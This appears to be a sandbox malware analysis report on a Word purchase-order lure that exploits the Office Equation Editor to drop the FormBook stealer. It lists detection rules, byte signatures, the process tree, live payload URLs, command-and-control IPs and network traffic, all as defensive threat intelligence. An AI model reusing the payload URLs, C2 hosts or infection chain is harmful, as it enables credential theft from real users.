Edit tour

Windows Analysis Report
MOQ010524Purchase order.doc

Overview

General Information

Sample name:	MOQ010524Purchase order.doc
Analysis ID:	1435172
MD5:	7ebb7f9239d5dea3e17fd9b51f12c5a7
SHA1:	8b73d2e1bf47b9150706d3fbfad2878447e750bf
SHA256:	49eae141b85b2dee809a1e86df1518d2d32a79367cf1a01f55f98c98d32f59ce
Tags:	doc
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic

Yara detected FormBook

.NET source code references suspicious native API functions

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sigma detected: Equation Editor Network Connection

Sigma detected: Suspicious Microsoft Office Child Process

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches the installation path of Mozilla Firefox

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2644 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1808 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

op55336.scr (PID: 3192 cmdline: "C:\Users\user\AppData\Roaming\op55336.scr" MD5: 3CCB984FD28AFEA83F2F2E8A6ED4CCFA)

op55336.scr (PID: 3224 cmdline: "C:\Users\user\AppData\Roaming\op55336.scr" MD5: 3CCB984FD28AFEA83F2F2E8A6ED4CCFA)

eDTvjJMLUGCaWhgZ.exe (PID: 2584 cmdline: "C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

dfrgui.exe (PID: 3372 cmdline: "C:\Windows\SysWOW64\dfrgui.exe" MD5: FB036244DBD2FADC225AD8650886B641)

eDTvjJMLUGCaWhgZ.exe (PID: 2848 cmdline: "C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 3760 cmdline: "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe" MD5: C2D924CE9EA2EE3E7B7E6A7C476619CA)

EQNEDT32.EXE (PID: 3396 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
MOQ010524Purchase order.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0xb441:$obj2: \objdata 0xb459:$obj3: \objupdate 0xb41d:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x389b7:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x22836:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x68387:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x52206:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b3c0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1523f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.351612822.0000000000D40000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x18882:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x64da96:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x637915:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x64da96:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x637915:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.op55336.scr.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.op55336.scr.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2ea03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x18882:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
6.2.op55336.scr.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.op55336.scr.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2dc03:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x17a82:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
5.2.op55336.scr.3506390.5.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6b46b:$x1: In$J$ct0r
5.2.op55336.scr.3506390.5.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
5.2.op55336.scr.d40000.1.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6b46b:$x1: In$J$ct0r
5.2.op55336.scr.d40000.1.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0x6d26b:$x1: In$J$ct0r
5.2.op55336.scr.24a19c4.4.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xc9890:$x1: In$J$ct0r 0xcb574:$a1: WriteProcessMemory 0xcb600:$a1: WriteProcessMemory 0xcb6d4:$a4: VirtualAllocEx 0xcb8f8:$a4: VirtualAllocEx 0xcb978:$a4: VirtualAllocEx 0xe4a4:$s3: net.pipe 0xc9b44:$s3: net.pipe 0xc9b64:$s4: vsmacros
5.2.op55336.scr.249f184.3.raw.unpack	MALWARE_Win_DLInjector02	Detects downloader injector	ditekSHen	0xcc0d0:$x1: In$J$ct0r 0xcddb4:$a1: WriteProcessMemory 0xcde40:$a1: WriteProcessMemory 0xcdf14:$a4: VirtualAllocEx 0xce138:$a4: VirtualAllocEx 0xce1b8:$a4: VirtualAllocEx 0x10ce4:$s3: net.pipe 0xcc384:$s3: net.pipe 0xcc3a4:$s4: vsmacros
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.74.191, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1808, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\op55336.scr", CommandLine: "C:\Users\user\AppData\Roaming\op55336.scr", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\op55336.scr, NewProcessName: C:\Users\user\AppData\Roaming\op55336.scr, OriginalFileName: C:\Users\user\AppData\Roaming\op55336.scr, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1808, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\op55336.scr", ProcessId: 3192, ProcessName: op55336.scr

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1808, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1808, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1808, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2644, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 183.111.183.31

Timestamp:	05/02/24-08:28:41.519542
SID:	2855465
Source Port:	49185
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 154.41.250.58

Timestamp:	05/02/24-08:29:16.698315
SID:	2855465
Source Port:	49193
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 208.91.197.13

Timestamp:	05/02/24-08:29:58.393847
SID:	2855465
Source Port:	49201
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 94.23.162.163

Timestamp:	05/02/24-08:27:38.140761
SID:	2855465
Source Port:	49169
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 183.111.183.31

Timestamp:	05/02/24-08:29:36.365325
SID:	2855465
Source Port:	49197
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 91.195.240.19

Timestamp:	05/02/24-08:28:05.644786
SID:	2855465
Source Port:	49177
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 67.223.117.189

Timestamp:	05/02/24-08:29:01.993967
SID:	2855465
Source Port:	49189
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 194.9.94.86

Timestamp:	05/02/24-08:27:51.914592
SID:	2855465
Source Port:	49173
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 66.96.161.166

Timestamp:	05/02/24-08:26:56.872559
SID:	2855465
Source Port:	49164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN FormBook CnC Checkin (GET) M2 - Source IP: 192.168.2.22 - Destination IP: 198.12.241.35

Timestamp:	05/02/24-08:28:23.793699
SID:	2855465
Source Port:	49181
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://universalmovies.top/opp.scr	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/opp.scrhhC:	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/opp.scrj	Avira URL Cloud: Label: phishing
Source: http://www.terelprime.com/ufuh/?pl=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&5h1t=6H6PKFvXjtI4u8k	Avira URL Cloud: Label: malware
Source: https://universalmovies.top/	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: universalmovies.top

Virustotal: Detection: 23%

Perma Link

Multi AV Scanner detection for submitted file

Source: MOQ010524Purchase order.doc	Virustotal: Detection: 41%			Perma Link
Source: MOQ010524Purchase order.doc	ReversingLabs: Detection: 36%

Yara detected FormBook

Source: Yara match	File source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\op55336.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.21.74.191 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\op55336.scr
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\op55336.scr			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49163 version: TLS 1.2

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: op55336.scr, 00000005.00000002.351721062.0000000002491000.00000004.00000800.00020000.00000000.sdmp, op55336.scr, 00000005.00000002.351512154.00000000003B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dfrgui.pdb source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395166621.0000000001C60000.00000004.00000001.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395327536.0000000001E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847158763.00000000001FE000.00000002.00000001.01000000.00000008.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847139863.00000000001FE000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: dfrgui.pdb2D source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395166621.0000000001C60000.00000004.00000001.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395327536.0000000001E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: op55336.scr, op55336.scr, 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847379947.0000000002170000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847379947.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.410885708.0000000001E80000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: www.besthomeincome24.com
Source: global traffic	DNS query: name: www.terelprime.com
Source: global traffic	DNS query: name: www.sqlite.org
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.99b6q.xyz
Source: global traffic	DNS query: name: www.kinkynerdspro.blog
Source: global traffic	DNS query: name: www.xn--matfrmn-jxa4m.se
Source: global traffic	DNS query: name: www.primeplay88.org
Source: global traffic	DNS query: name: www.aceautocorp.com
Source: global traffic	DNS query: name: www.mrart.co.kr
Source: global traffic	DNS query: name: www.touchclean.top
Source: global traffic	DNS query: name: www.ibistradingco.com
Source: global traffic	DNS query: name: www.jnkinteractive.co.kr
Source: global traffic	DNS query: name: www.chrisdomond.com
Source: global traffic	DNS query: name: www.chrisdomond.com
Source: global traffic	DNS query: name: www.chrisdomond.com
Source: global traffic	DNS query: name: www.chrisdomond.com
Source: global traffic	DNS query: name: www.riveramayahousing.com
Source: global traffic	DNS query: name: www.exclaimer342200213.net

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 66.96.161.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 45.33.6.223:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 94.23.162.163:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 194.9.94.86:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 91.195.240.19:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 198.12.241.35:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 183.111.183.31:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 67.223.117.189:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 154.41.250.58:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 183.111.183.31:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 208.91.197.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
